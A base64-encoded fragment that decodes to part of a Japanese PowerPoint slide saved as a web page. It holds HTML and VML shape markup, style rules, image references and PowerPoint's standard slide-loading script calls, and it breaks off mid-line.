Qj9abWxzWlRvdkwwTTZYRmRKVGtSUFYxTmN3OTY5dU1TdnpOOWNqKzZWOFZ5UDdwWHhMbU52YlM1 bWFXdz0/PQ0KCT0/c2hpZnRfamlzP0I/WlhOY2MyeHBaR1V3TURBeExtaDBiUT09Pz0NCg0KPCFE T0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwvL0VO Ij4NCjxIVE1MIHhtbG5zPTNEImh0dHA6Ly93d3cudzMub3JnL1RSL1JFQy1odG1sNDAiIHhtbG5z OnYgPTNEPTIwDQoidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm8gPTNEPTIw DQoidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4bWxuczpwID0zRD0y MA0KInVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOnBvd2VycG9pbnQiPjxIRUFEPjxU SVRMRT5Qb3dlclBvaW50ID0NCj04M3Y9ODM9OEM9ODNbPTgzPTkzPTgzZT04MVs9ODNWPTgzPTg3 PTgzPTkzPC9USVRMRT4NCjxNRVRBIGNvbnRlbnQ9M0QidGV4dC9odG1sOyBjaGFyc2V0PTNEc2hp ZnRfamlzIiA9DQpodHRwLWVxdWl2PTNEQ29udGVudC1UeXBlPg0KPE1FVEEgY29udGVudD0zRFBv d2VyUG9pbnQuU2xpZGUgbmFtZT0zRFByb2dJZD4NCjxNRVRBIGNvbnRlbnQ9M0QiTVNIVE1MIDUu MDAuMjkxOS42MzA3IiBuYW1lPTNER0VORVJBVE9SPjxMSU5LID0NCmhyZWY9M0QiLi4vPThGPUVF PTk1PUYxLmNvbS5odG0iPTIwDQppZD0zRE1haW4tRmlsZSByZWw9M0RNYWluLUZpbGU+PExJTksg aHJlZj0zRCJwcmV2aWV3LndtZiIgPQ0KcmVsPTNEUHJldmlldz48IS0tW2lmICFtc29dPg0KPFNU WUxFPnZcOiogew0KCUJFSEFWSU9SOiB1cmwoI2RlZmF1bHQjVk1MKQ0KfQ0Kb1w6KiB7DQoJQkVI QVZJT1I6IHVybCgjZGVmYXVsdCNWTUwpDQp9DQpwXDoqIHsNCglCRUhBVklPUjogdXJsKCNkZWZh dWx0I1ZNTCkNCn0NCi5zaGFwZSB7DQoJQkVIQVZJT1I6IHVybCgjZGVmYXVsdCNWTUwpDQp9DQp2 XDp0ZXh0Ym94IHsNCglESVNQTEFZOiBub25lDQp9DQo8L1NUWUxFPg0KPCFbZW5kaWZdLS0+DQo8 TUVUQSBjb250ZW50PTNEMDAvMDYvMTMgbmFtZT0zRERlc2NyaXB0aW9uPjxMSU5LPTIwDQpocmVm PTNEImZpbGU6Ly8vQzovV0lORE9XUy89QzM9REU9QkQ9Qjg9QzQ9QUY9Q0M9REYvPThGPUVFPTk1 PUYxLz04Rj1FRT05NT0NCj1GMS5jb20uZmlsZXMvbWFzdGVyMDNfc3R5bGVzaGVldC5jc3MiPTIw DQpyZWw9M0RTdHlsZXNoZWV0PjwhW2lmICFwcHRdPg0KPFNUWUxFIG1lZGlhPTNEcHJpbnQ+LnNs ZCB7DQoJRk9OVC1TSVpFOiAxMDMlISBpbXBvcnRhbnQ7IEhFSUdIVDogNC41aW4hIGltcG9ydGFu dDsgTEVGVDogMHB4ISA9DQppbXBvcnRhbnQ7IFdJRFRIOiA2aW4hIGltcG9ydGFudA0KfQ0KPC9T VFlMRT4NCg0KPFNDUklQVCA9DQpzcmM9M0QiZmlsZTovLy9DOi9XSU5ET1dTLz1DMz1ERT1CRD1C OD1DND1BRj1DQz1ERi89OEY9RUU9OTU9RjEvPThGPUVFPTk1PQ0KPUYxLmNvbS5maWxlcy9zY3Jp cHQuanMiPjwvU0NSSVBUPg0KPCEtLVtpZiB2bWxdPg0KPFNDUklQVD5nX3ZtbCA9M0QgMTsNCjwv U0NSSVBUPg0KPCFbZW5kaWZdLS0+DQo8U0NSSVBUIGV2ZW50PTNEb25sb2FkIGZvcj0zRHdpbmRv dz48IS0tDQpMb2FkU2xkKCBnSWQgKTsNCk1ha2VTbGRWaXMoMCk7DQovLy0tPg0KPC9TQ1JJUFQ+ DQo8IVtlbmRpZl0+PG86c2hhcGVsYXlvdXQgdjpleHQ9M0QiZWRpdCI+IDxvOmlkbWFwIHY6ZXh0 PTNEImVkaXQiPTIwDQpkYXRhPTNEIjIiPjwvbzppZG1hcD48L286c2hhcGVsYXlvdXQ+PC9IRUFE Pg0KPEJPRFkgbGFuZz0zREpBIG9ucmVzaXplPTNEX1JTVygpIHN0eWxlPTNEIkJBQ0tHUk9VTkQt Q09MT1I6IHdoaXRlOyA9DQpNQVJHSU46IDBweCI+DQo8RElWIGNsYXNzPTNEc2xkIGlkPTNEU2xp ZGVPYmo9MjANCnN0eWxlPTNEIkJBQ0tHUk9VTkQtQ09MT1I6ICNmZmZmY2M7IEJBQ0tHUk9VTkQt SU1BR0U6ID0NCnVybChzbGlkZTAwMDFfYmFja2dyb3VuZC5qcGcpOyBDTElQOiByZWN0KDAlIDEw MSUgMTAxJSAwJSk7IEZPTlQtU0laRTogPQ0KMTZweDsgSEVJR0hUOiA0MTVweDsgTEVGVDogMHB4 OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMHB4OyA9DQpWSVNJQklMSVRZOiBoaWRkZW47IFdJ RFRIOiA1NTRweCI+PHA6c2xpZGU9MjANCm1hc3RlcmhyZWYgPTNEICJtYXN0ZXIwMy54bWwiIGNv b3Jkc2l6ZSA9M0QgIjcyMCw1NDAiIGNvbG9ycyA9M0Q9MjANCiIjRkZGRkZGLCMwMDAwMDAsIzgw ODA4MCwjMDAwMDAwLCMwMENDOTksIzMzMzNDQywjQ0NDQ0ZGLCNCMkIyQjIiPjx2OmJhY2s9DQpn cm91bmQ9MjANCmlkPTNEX3gwMDAwX3MyMDQ5IGZpbGxjb2xvciA9M0QgIiNmZmMiIG86Yndtb2Rl ID0zRCAid2hpdGUiID0NCm86dGFyZ2V0c2NyZWVuc2l6ZSA9M0Q9MjANCiI2NDAsNDgwIj48djpm aWxsIG86dGl0bGU9M0QiPTgyPUQwPTgyPUM4PThDYCIgc3JjID0zRCA9DQoic2xpZGUwMDAxX2Jh Y2tncm91bmQuanBnIiB0eXBlID0zRCAidGlsZSI9MjANCmNvbG9yMiA9M0QgIiMzM2MgWzVdIj48 L3Y6ZmlsbD48L3Y6YmFja2dyb3VuZD48IVtpZiAhcHB0XT48cDpzaGFwZXJhbmdlID0NCmhyZWYg PTNEPTIwDQoibWFzdGVyMDMueG1sI194MDAwMF9zMTAyOCI+PC9wOnNoYXBlcmFuZ2U+PHA6c2hh cGVyYW5nZSBocmVmID0zRD0yMA0KIm1hc3RlcjAzLnhtbCNfeDAwMDBfczEwMjkiPjwvcDpzaGFw ZXJhbmdlPjwhW2VuZGlmXT48djpyZWN0ID0NCmlkPTNEX3gwMDAwX3MyMTI3PTIwDQpzdHlsZT0z RCJIRUlHSFQ6IDQ4NnB0OyBMRUZUOiAxMnB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMzBw dDsgPQ0KV0lEVEg6IDE4MHB0OyBtc28td3JhcC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjog bWlkZGxlIj0yMA0KY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiIGZpbGxlZCA9M0QgImYiIGZp bGxjb2xvciA9M0QgIiMwYzkgWzRdIiA9DQpzdHJva2Vjb2xvciA9M0Q9MjANCiJibGFjayBbMV0i Pjx2OmZpbGwgY29sb3IyID0zRCAid2hpdGUgWzBdIj48L3Y6ZmlsbD48djpzaGFkb3cgb24gPTNE ICJ0IiA9DQp0eXBlID0zRD0yMA0KImRvdWJsZSIgY29sb3IgPTNEICJncmF5IFsyXSIgY29sb3Iy ID0zRCAic2hhZG93IGFkZCgxMDIpIiBvZmZzZXQgPTNEID0NCiItM3B0LC0zcHQiPTIwDQpvZmZz ZXQyID0zRCAiLTZwdCwtNnB0Ij48L3Y6c2hhZG93PjwvdjpyZWN0PjwhW2lmICF2bWxdPjxpbWcg Ym9yZGVyPTNEMCA9DQp2OnNoYXBlcz0zRCJfeDAwMDBfczIxMjciDQogc3JjPTNEInNsaWRlMDAw MV9pbWFnZTAwMS5naWYiID0NCnN0eWxlPTNEJ3Bvc2l0aW9uOmFic29sdXRlO3RvcDozLjg1JTts ZWZ0Oi4zNiU7DQogd2lkdGg6MjYuNzElO2hlaWdodDo5Mi4yOCUnPjwhW2VuZGlmXT48djpyZWN0 IGlkPTNEX3gwMDAwX3MyMDUwPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDkwcHQ7IExFRlQ6IDIyOHB0 OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMzZwdDsgPQ0KV0lEVEg6IDQ2OHB0OyBtc28td3Jh cC1zdHlsZTogbm9uZTsgdi10ZXh0LWFuY2hvcjogbWlkZGxlIj0yMA0KY29vcmRzaXplID0zRCAi MjE2MDAsMjE2MDAiIGZpbGxjb2xvciA9M0QgIiNmZmMiIHN0cm9rZWQgPTNEICJmIiA9DQpzdHJv a2Vjb2xvciA9M0Q9MjANCiJibGFjayBbMV0iPjx2OmZpbGwgb3BhY2l0eSA9M0QgIi41Ij48L3Y6 ZmlsbD48djpzaGFkb3cgdHlwZSA9M0QgPQ0KInNpbmdsZSIgY29sb3IgPTNEPTIwDQoiZ3JheSBb Ml0iPjwvdjpzaGFkb3c+PC92OnJlY3Q+PHY6c2hhcGV0eXBlIGlkPTNEX3gwMDAwX3QxMzYgY29v cmRzaXplID0NCj0zRD0yMA0KIjIxNjAwLDIxNjAwIiBwYXRoID0zRCAibUA3LDBsQDgsMG1ANSwy MTYwMGxANiwyMTYwMGUiIGFkaiA9M0QgIjEwODAwIiA9DQpvOnNwdCA9M0Q9MjANCiIxMzYiPjx2 OmZvcm11bGFzPjx2OmYgZXFuID0zRCAic3VtICMwIDAgMTA4MDAgIj48L3Y6Zj48djpmIGVxbiA9 M0Q9MjANCiJwcm9kICMwIDIgMSAiPjwvdjpmPjx2OmYgZXFuID0zRCAic3VtIDIxNjAwIDAgQDEg Ij48L3Y6Zj48djpmIGVxbiA9M0Q9MjANCiJzdW0gMCAwIEAyICI+PC92OmY+PHY6ZiBlcW4gPTNE ICJzdW0gMjE2MDAgMCBAMyAiPjwvdjpmPjx2OmYgZXFuID0zRD0yMA0KImlmIEAwIEAzIDAgIj48 L3Y6Zj48djpmIGVxbiA9M0QgImlmIEAwIDIxNjAwIEAxICI+PC92OmY+PHY6ZiBlcW4gPTNEPTIw DQoiaWYgQDAgMCBAMiAiPjwvdjpmPjx2OmYgZXFuID0zRCAiaWYgQDAgQDQgMjE2MDAgIj48L3Y6 Zj48djpmIGVxbiA9M0Q9MjANCiJtaWQgQDUgQDYgIj48L3Y6Zj48djpmIGVxbiA9M0QgIm1pZCBA OCBANSAiPjwvdjpmPjx2OmYgZXFuID0zRD0yMA0KIm1pZCBANyBAOCAiPjwvdjpmPjx2OmYgZXFu ID0zRCAibWlkIEA2IEA3ICI+PC92OmY+PHY6ZiBlcW4gPTNEPTIwDQoic3VtIEA2IDAgQDUgIj48 L3Y6Zj48L3Y6Zm9ybXVsYXM+PHY6cGF0aCA9DQpvOmNvbm5lY3RhbmdsZXM9M0QiMjcwLDE4MCw5 MCwwIj0yMA0Kbzpjb25uZWN0bG9jcz0zRCJAOSwwO0AxMCwxMDgwMDtAMTEsMjE2MDA7QDEyLDEw ODAwIiB0ZXh0cGF0aG9rID0zRCAidCI9MjANCm86Y29ubmVjdHR5cGUgPTNEICJjdXN0b20iPjwv djpwYXRoPjx2OnRleHRwYXRoIG9uID0zRCAidCIgZml0c2hhcGUgPTNEPTIwDQoidCI+PC92OnRl eHRwYXRoPjx2OmhhbmRsZXM+PHY6aCB4cmFuZ2U9M0QiNjYyOSwxNDk3MSI9MjANCnBvc2l0aW9u PTNEIiMwLGJvdHRvbVJpZ2h0Ij48L3Y6aD48L3Y6aGFuZGxlcz48bzpsb2NrIHY6ZXh0PTNEImVk aXQiID0NCnRleHQgPTNEICJ0Ij0yMA0Kc2hhcGV0eXBlID0zRCAidCI+PC9vOmxvY2s+PC92OnNo YXBldHlwZT48djpzaGFwZSBpZD0zRF94MDAwMF9zMjA1MT0yMA0Kc3R5bGU9M0QiSEVJR0hUOiA1 MnB0OyBMRUZUOiAzNjZwdDsgUE9TSVRJT046IGFic29sdXRlOyBUT1A6IDQ4cHQ7ID0NCldJRFRI OiAxODZwdCI9MjANCnR5cGUgPTNEICIjX3gwMDAwX3QxMzYiIGNvb3Jkc2l6ZSA9M0QgIjIxNjAw LDIxNjAwIiBmaWxsY29sb3IgPTNEID0NCiJ5ZWxsb3ciIHN0cm9rZWQgPTNEPTIwDQoiZiI+PHY6 ZmlsbCB0eXBlID0zRCAiZ3JhZGllbnRDZW50ZXIiIGNvbG9yMiA9M0QgIiNmOTMiIGFuZ2xlID0z RCAiLTEzNSIgPQ0KZm9jdXMgPTNEPTIwDQoiMTAwJSIgZm9jdXNwb3NpdGlvbiA9M0QgIi41LC41 IiBmb2N1c3NpemUgPTNEICIwLDAiPjxvOmZpbGw9MjANCnY6ZXh0PTNEInZpZXciPjwvbzpmaWxs PjwvdjpmaWxsPjx2OnNoYWRvdyBvbiA9M0QgInQiIHR5cGUgPTNEICJzaW5nbGUiID0NCmNvbG9y ID0zRD0yMA0KInNpbHZlciI+PC92OnNoYWRvdz48djp0ZXh0cGF0aD0yMA0Kc3R5bGU9M0QiRk9O VC1GQU1JTFk6ICc9ODJsPTgyciA9ODJvPTgzUz04M1Y9ODNiPTgzTic7IHYtdGV4dC1yZXZlcnNl OiA9DQp0OyB2LXRleHQta2VybjogdCIgZml0cGF0aCA9M0QgInQiPTIwDQp0cmltID0zRCAidCIg c3RyaW5nID0zRCA9DQoiPTgyPTg1PTgxfD04Rj1FRT05NT1GMS5jb20iPjwvdjp0ZXh0cGF0aD48 L3Y6c2hhcGU+PCFbaWYgIXZtbF0+PGltZyA9DQpib3JkZXI9M0QwIHY6c2hhcGVzPTNEIl94MDAw MF9zMjA1MCxfeDAwMDBfczIwNTEiDQogc3JjPTNEInNsaWRlMDAwMV9pbWFnZTAwMi5naWYiID0N CnN0eWxlPTNEJ3Bvc2l0aW9uOmFic29sdXRlO3RvcDo2Ljc0JTtsZWZ0OjMxLjU4JTsNCiB3aWR0 aDo2NS4zNCU7aGVpZ2h0OjE3LjElJz48IVtlbmRpZl0+PHY6c2hhcGV0eXBlIGlkPTNEX3gwMDAw X3Q3NSA9DQpjb29yZHNpemUgPTNEPTIwDQoiMjE2MDAsMjE2MDAiIG86cHJlZmVycmVsYXRpdmUg PTNEICJ0IiBmaWxsZWQgPTNEICJmIiBzdHJva2VkID0zRCAiZiIgPQ0KcGF0aCA9M0Q9MjANCiJt QDRANWxANEAxMUA5QDExQDlANXhlIiBvOnNwdCA9M0QgIjc1Ij48djpzdHJva2Ugam9pbnN0eWxl ID0zRD0yMA0KIm1pdGVyIj48L3Y6c3Ryb2tlPjx2OmZvcm11bGFzPjx2OmYgZXFuID0zRD0yMA0K ImlmIGxpbmVEcmF3biBwaXhlbExpbmVXaWR0aCAwICI+PC92OmY+PHY6ZiBlcW4gPTNEICJzdW0g QDAgMSAwID0NCiI+PC92OmY+PHY6ZiBlcW4gPTNEPTIwDQoic3VtIDAgMCBAMSAiPjwvdjpmPjx2 OmYgZXFuID0zRCAicHJvZCBAMiAxIDIgIj48L3Y6Zj48djpmIGVxbiA9M0Q9MjANCiJwcm9kIEAz IDIxNjAwIHBpeGVsV2lkdGggIj48L3Y6Zj48djpmIGVxbiA9M0Q9MjANCiJwcm9kIEAzIDIxNjAw IHBpeGVsSGVpZ2h0ICI+PC92OmY+PHY6ZiBlcW4gPTNEICJzdW0gQDAgMCAxICI+PC92OmY+PHY6 ZiA9DQplcW4gPTNEPTIwDQoicHJvZCBANiAxIDIgIj48L3Y6Zj48djpmIGVxbiA9M0QgInByb2Qg QDcgMjE2MDAgcGl4ZWxXaWR0aCAiPjwvdjpmPjx2OmYgPQ0KZXFuID0zRD0yMA0KInN1bSBAOCAy MTYwMCAwICI+PC92OmY+PHY6ZiBlcW4gPTNEICJwcm9kIEA3IDIxNjAwIHBpeGVsSGVpZ2h0ID0N CiI+PC92OmY+PHY6ZiBlcW4gPTNEPTIwDQoic3VtIEAxMCAyMTYwMCAwICI+PC92OmY+PC92OmZv cm11bGFzPjx2OnBhdGggbzpleHRydXNpb25vayA9M0QgImYiPTIwDQpncmFkaWVudHNoYXBlb2sg PTNEICJ0IiBvOmNvbm5lY3R0eXBlID0zRCAicmVjdCI+PC92OnBhdGg+PG86bG9jayA9DQp2OmV4 dD0zRCJlZGl0Ij0yMA0KYXNwZWN0cmF0aW8gPTNEICJ0Ij48L286bG9jaz48L3Y6c2hhcGV0eXBl Pjx2OnNoYXBlIGlkPTNEX3gwMDAwX3MyMDUyPTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDcuODc1cHQ7 IExFRlQ6IDMzMHB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMTAycHQ7ID0NCldJRFRIOiAy NjFwdCI9MjANCnR5cGUgPTNEICIjX3gwMDAwX3Q3NSIgY29vcmRzaXplID0zRCAiMjE2MDAsMjE2 MDAiPjx2OmltYWdlZGF0YSA9DQpvOnRpdGxlPTNEImFnMDAwNTNfIj0yMA0Kc3JjID0zRCAic2xp ZGUwMDAxX2ltYWdlMDAzLmdpZiI+PC92OmltYWdlZGF0YT48bzpsb2NrIHY6ZXh0PTNEImVkaXQi ID0NCmNyb3BwaW5nID0zRD0yMA0KInQiPjwvbzpsb2NrPjwvdjpzaGFwZT48IVtpZiAhdm1sXT48 aW1nIGJvcmRlcj0zRDAgPQ0KdjpzaGFwZXM9M0QiX3gwMDAwX3MyMDUyIg0KIHNyYz0zRCJzbGlk ZTAwMDFfaW1hZ2UwMDMuZ2lmIiA9DQpzdHlsZT0zRCdwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MTgu NzklO2xlZnQ6NDUuODQlOw0KIHdpZHRoOjM2LjI4JTtoZWlnaHQ6MS40NCUnPjwhW2VuZGlmXT48 djpzaGFwZSBpZD0zRF94MDAwMF9zMjA1Mz0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAxaW47IExFRlQ6 IDI0MHB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogNDhwdDsgV0lEVEg6ID0NCjExOS4zNzVw dCI9MjANCnR5cGUgPTNEICIjX3gwMDAwX3Q3NSIgY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAi Pjx2OmltYWdlZGF0YSA9DQpvOnRpdGxlPTNEImowMjU1NjU4Ij0yMA0Kc3JjID0zRCAic2xpZGUw MDAxX2ltYWdlMDA1LndteiI+PC92OmltYWdlZGF0YT48L3Y6c2hhcGU+PCFbaWYgPQ0KIXZtbF0+ PGltZyBib3JkZXI9M0QwIHY6c2hhcGVzPTNEIl94MDAwMF9zMjA1MyINCiBzcmM9M0Qic2xpZGUw MDAxX2ltYWdlMDA2LmdpZiIgPQ0Kc3R5bGU9M0QncG9zaXRpb246YWJzb2x1dGU7dG9wOjguOTEl O2xlZnQ6MzMuMzklOw0KIHdpZHRoOjE2LjYlO2hlaWdodDoxMy4yNSUnPjwhW2VuZGlmXT48djpy ZWN0IGlkPTNEX3gwMDAwX3MyMDU0PTIwDQpzdHlsZT0zRCJIRUlHSFQ6IDk2cHQ7IExFRlQ6IDI2 NHB0OyBQT1NJVElPTjogYWJzb2x1dGU7IFRPUDogMzZwdDsgPQ0KV0lEVEg6IDg1LjVwdDsgbXNv LXdyYXAtc3R5bGU6IG5vbmU7IHYtdGV4dC1hbmNob3I6IG1pZGRsZSI9MjANCmNvb3Jkc2l6ZSA9 M0QgIjIxNjAwLDIxNjAwIiBmaWxsZWQgPTNEICJmIiBmaWxsY29sb3IgPTNEICIjMGM5IFs0XSIg PQ0Kc3Ryb2tlZCA9M0QgImYiPTIwDQpzdHJva2Vjb2xvciA9M0QgImJsYWNrIFsxXSI+PHY6Zmls bCBjb2xvcjIgPTNEICJ3aGl0ZSA9DQpbMF0iPjwvdjpmaWxsPjx2OnNoYWRvdyB0eXBlID0zRD0y MA0KInNpbmdsZSIgY29sb3IgPTNEICJncmF5IFsyXSI+PC92OnNoYWRvdz48L3Y6cmVjdD4NCjxE SVYgY2xhc3M9M0RPIHY6c2hhcGU9M0QiX3gwMDAwX3MyMDU0Ij4NCjxESVY9MjANCnN0eWxlPTNE IkhFSUdIVDogMi44OSU7IExFRlQ6IDM3LjcyJTsgUE9TSVRJT046IGFic29sdXRlOyBURVhULUFM SUdOOiA9DQpjZW50ZXI7IFRPUDogMTMuMDElOyBXSURUSDogOS45MiUiPjxTUEFOPTIwDQpzdHls ZT0zRCJGT05ULVNJWkU6IDU4JSI+PThBPUQ2PTkzPThDPTk1PTk3PTgyPUM1IDwvU1BBTj48L0RJ Vj4NCjxESVY9MjANCnN0eWxlPTNEIkhFSUdIVDogMi44OSU7IExFRlQ6IDM1LjkyJTsgUE9TSVRJ T046IGFic29sdXRlOyBURVhULUFMSUdOOiA9DQpjZW50ZXI7IFRPUDogMTUuOSU7IFdJRFRIOiAx My41MyUiPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULVNJWkU6IDU4JTsgbXNvLWZhcmVhc3QtaGlu dDogeWVzIj49ODFnPC9TUEFOPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULVNJWkU6IDU4JSI+PTgy PUEyPTgyPUExPTgxWz04Rj1FRT05NT1GMTwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1T SVpFOiA1OCU7IG1zby1mYXJlYXN0LWhpbnQ6IHllcyI+PTgxaDwvU1BBTj48U1BBTj0yMA0Kc3R5 bGU9M0QiRElTUExBWTogbm9uZTsgRk9OVC1TSVpFOiA1OCU7IG1zby1zcGVjaWFsLWZvcm1hdDog bGFzdENSIj49MjANCjwvU1BBTj48L0RJVj48L0RJVj48djpzaGFwZSBpZD0zRF94MDAwMF9zMjA1 NT0yMA0Kc3R5bGU9M0QiSEVJR0hUOiAxaW47IExFRlQ6IDU2NHB0OyBQT1NJVElPTjogYWJzb2x1 dGU7IFRPUDogNDhwdDsgV0lEVEg6ID0NCjExOS4zNzVwdCI9MjANCnR5cGUgPTNEICIjX3gwMDAw X3Q3NSIgY29vcmRzaXplID0zRCAiMjE2MDAsMjE2MDAiPjx2OmltYWdlZGF0YSA9DQpvOnRpdGxl PTNEImowMjU1NjU4Ij0yMA0Kc3JjID0zRCAic2xpZGUwMDAxX2ltYWdlMDA1LndteiI+PC92Omlt YWdlZGF0YT48L3Y6c2hhcGU+PCFbaWYgPQ0KIXZtbF0+PGltZyBib3JkZXI9M0QwIHY6c2hhcGVz PTNEIl94MDAwMF9zMjA1NSINCiBzcmM9M0Qic2xpZGUwMDAxX2ltYWdlMDA3LmdpZiIgPQ0Kc3R5 bGU9M0QncG9zaXRpb246YWJzb2x1dGU7dG9wOjguOTElO2xlZnQ6NzguMzMlOw0KIHdpZHRoOjE2 LjYlO2hlaWdodDoxMy4yNSUnPjwhW2VuZGlmXT48djpyZWN0IGlkPTNEX3gwMDAwX3MyMDU2PTIw DQpzdHlsZT0zRCJIRUlHSFQ6IDk2cHQ7IExFRlQ6IDU4OHB0OyBQT1NJVElPTjogYWJzb2x1dGU7 IFRPUDogMzZwdDsgPQ0KV0lEVEg6IDg1LjVwdDsgbXNvLXdyYXAtc3R5bGU6IG5vbmU7IHYtdGV4 dC1hbmNob3I6IG1pZGRsZSI9MjANCmNvb3Jkc2l6ZSA9M0QgIjIxNjAwLDIxNjAwIiBmaWxsZWQg PTNEICJmIiBmaWxsY29sb3IgPTNEICIjMGM5IFs0XSIgPQ0Kc3Ryb2tlZCA9M0QgImYiPTIwDQpz dHJva2Vjb2xvciA9M0QgImJsYWNrIFsxXSI+PHY6ZmlsbCBjb2xvcjIgPTNEICJ3aGl0ZSA9DQpb MF0iPjwvdjpmaWxsPjx2OnNoYWRvdyB0eXBlID0zRD0yMA0KInNpbmdsZSIgY29sb3IgPTNEICJn cmF5IFsyXSI+PC92OnNoYWRvdz48L3Y6cmVjdD4NCjxESVYgY2xhc3M9M0RPIHY6c2hhcGU9M0Qi X3gwMDAwX3MyMDU2Ij4NCjxESVY9MjANCnN0eWxlPTNEIkhFSUdIVDogMi44OSU7IExFRlQ6IDgy LjY3JTsgUE9TSVRJT046IGFic29sdXRlOyBURVhULUFMSUdOOiA9DQpjZW50ZXI7IFRPUDogMTMu MDElOyBXSURUSDogOS45MiUiPjxTUEFOPTIwDQpzdHlsZT0zRCJGT05ULVNJWkU6IDU4JSI+PThB PUQ2PTkwPUJDPTk1PTk3PTgyPUM1IDwvU1BBTj48L0RJVj4NCjxESVY9MjANCnN0eWxlPTNEIkhF SUdIVDogMi44OSU7IExFRlQ6IDgxLjA0JTsgUE9TSVRJT046IGFic29sdXRlOyBURVhULUFMSUdO OiA9DQpjZW50ZXI7IFRPUDogMTUuOSU7IFdJRFRIOiAxMy4xNyUiPjxTUEFOPTIwDQpzdHlsZT0z RCJGT05ULVNJWkU6IDU4JTsgbXNvLWZhcmVhc3QtaGludDogeWVzIj49ODFnPC9TUEFOPjxTUEFO PTIwDQpzdHlsZT0zRCJGT05ULVNJWkU6IDU4JSI+PTgyPUE2PTgyPUE1PTgxWz04Rj1FRT05NT1G MTwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRk9OVC1TSVpFOiA1OCU7IG1zby1mYXJlYXN0LWhp bnQ6IHllcyI+PTgxaDwvU1BBTj48U1BBTj0yMA0Kc3R5bGU9M0QiRElTUExBWTogbm9uZTsgRk9O VC1TSVpFOiA1OCU7IG1zby1zcGVjaWFsLWZvcm1hdDogbGFzdENSIj49MjANCjwvU1BBTj48L0RJ Vj48L0RJVj48djpzaGFwZSBpZD0zRF94MDAwMF9zMjA1Nz0yMA0Kc3R5bGU9M0QiSEVJR0hUOiA0 NS43NXB0OyBMRUZUOiAyMDRwdDsgUE9TSVRJT046IGFic29sdXRlOyBUT1A6IDEycHQ7ID0NCldJ RFRIOiA0NS4zNzVwdCI9MjANCnR5cGUgPTNEICIjX3gwMDAwX3Q3NSIgY29vcmRzaXplID0zRCAi MjE2MDAsMjE2MDAiPjx2OmltYWdlZGF0YSA9DQpvOnRpdGxlPTNEImowMTczOTk2Ij0yMA0Kc3Jj ID0zRCAic2xpZGUwMDAxX2ltYWdlMDA4LmdpZiI+PC92OmltYWdlZGF0YT48bzpsb2NrIHY6ZXh0 PTNEImVkaXQiID0NCmNyb3BwaW5nID0zRD0yMA0KInQiPjwvbzpsb2NrPjwvdjpzaGFwZT48IVtp ZiAhdm1sXT48aW1nIGJvcmRlcj0zRDAgPQ0KdjpzaGFwZXM9M0QiX3gwMDAwX3MyMDU3Ig0KIHNy Yz0zRCJzbGlkZTAwMDFfaW1hZ2UwMDguZ2lmIiA9DQpzdHlsZT0zRCdwb3NpdGlvbjphYnNvbHV0 ZTt0b3A6Mi4xNiU7bGVmdDoyOC4zMyU7DQogd2lkdGg6Ni4zMSU7aGVpZ2h0OjguNDMlJz48IVtl bmRpZl0+PHY6c2hhcGUgaWQ9M0RfeDAwMDBfczIwNTg9MjANCnN0eWxlPTNEIkhFSUdIVDogNDUu NzVwdDsgTEVGVDogNjYwcHQ7IFBPU0lUSU9OOiBhYnNvbHV0ZTsgVE9QOiAxMnB0OyA9DQpXSURU SDogNDUuMzc1cHQiPTIwDQp0eXBlID0zRCAiI194MDAwMF90NzUiIGNvb3Jkc2l6ZSA9M0QgIjIx NjAwLDIxNjAwIj48djppbWFnZWRhdGEgPQ0Kbzp0aXRsZT0zRCJqMDE3Mzk5NiI9MjANCnNyYyA9 M0QgInNsaWRlMDAwMV9pbWFnZTAwOC5naWYiPjwvdjppbWFnZWRhdGE+PG86bG9jayB2OmV4dD0z RCJlZGl0IiA9DQpjcm9wcGluZyA9M0Q9MjANCiJ0Ij48L286bG9jaz48L3Y6c2hhcGU+PCFbaWYg IXZtbF0+PGltZyBib3JkZXI9M0QwID0NCnY6c2hhcGVzPTNEIl94MDAwMF9zMjA1OCINCiBzcmM9 M0Qic2xpZGUwMDAxX2ltYWdlMDA4LmdpZiIgPQ0Kc3R5bGU9M0QncG9zaXRpb246YWJzb2x1dGU7 dG9wOjIuMTYlO2xlZnQ6OTEuNjklOw0KIHdpZHRoOjYuMzElO2hlaWdodDo4LjQzJSc+PCFbZW5k aWZdPjx2OnJlY3QgaWQ9M0RfeDAwMDBfczIxMDE9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBM RUZUOiAyNDZwdDsgUE9TSVRJT046IGFic29sdXRlOyBUT1A6IDEzOHB0OyA9DQpXSURUSDogMTky cHQ7IG1zby13cmFwLXN0eWxlOiBub25lOyB2LXRleHQtYW5jaG9yOiBtaWRkbGUiPTIwDQpjb29y ZHNpemUgPTNEICIyMTYwMCwyMTYwMCIgZmlsbGNvbG9yID0zRCAiI2ZmYyIgc3Ryb2tlZCA9M0Qg ImYiID0NCnN0cm9rZWNvbG9yID0zRD0yMA0KImJsYWNrIFsxXSI+PHY6c2hhZG93IHR5cGUgPTNE ICJzaW5nbGUiIGNvbG9yID0zRD0yMA0KImdyYXkgWzJdIj48L3Y6c2hhZG93PjwvdjpyZWN0Pjx2 OnJlY3QgaWQ9M0RfeDAwMDBfczIxMDI9MjANCnN0eWxlPTNEIkhFSUdIVDogMWluOyBMRUZUOiAy 